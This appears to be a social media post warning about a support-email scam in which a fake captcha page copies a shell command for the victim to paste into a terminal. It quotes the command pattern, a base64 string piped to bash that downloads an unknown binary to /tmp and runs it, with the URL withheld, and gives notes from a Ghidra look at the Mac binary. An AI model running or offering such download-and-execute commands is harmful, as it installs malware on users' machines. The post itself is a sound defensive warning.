Post

A sneaky scam I've seen a few times now: Someone writes into support to demand a refund for a duplicate charge. "oh crap!" But their email is nowhere in my system, nor is their name...

So I asked for more info. another email they might've used? last 4 of the credit card? They replied with a sketchy link (sorry, "an attachment")

The sketchy link, a Google Sites page, shows a fake captcha checkbox. And it copies a terminal command into your clipboard. And then: "to better prove you're not a robot, open a terminal and hit paste, enter"

The shell snippet is: echo -n <long base64 string> | base64 -d | bash Which expands to: curl -s -o /tmp/foo <malicious-url>; chmod +x /tmp/foo; /tmp/foo The funny thing is, it can't actually work

The malicious URL returns a 301 redirect. But curl doesn't follow redirects by default! It needs the -L flag for that, which they didn't include. With -L though, I was able to download the binary.

It's a 362kb binary A "fat" binary, with both x86_64 and arm64 binaries inside So it'll run on both Intel and Apple Silicon Macs I opened it in Ghidra to disassemble it.

The symbols are stripped. There's not much in the way of useful strings, other than some file extensions. I don't see much, but tbh I'm not much of a reverse engineer. I can only guess it's some sort of ransomware, best not to run. Anyway if you get a random refund request tell em to go to hell.

Can you share a base64 of the binary as a gist or privately and I can look into it. Glad you didn’t fall for it.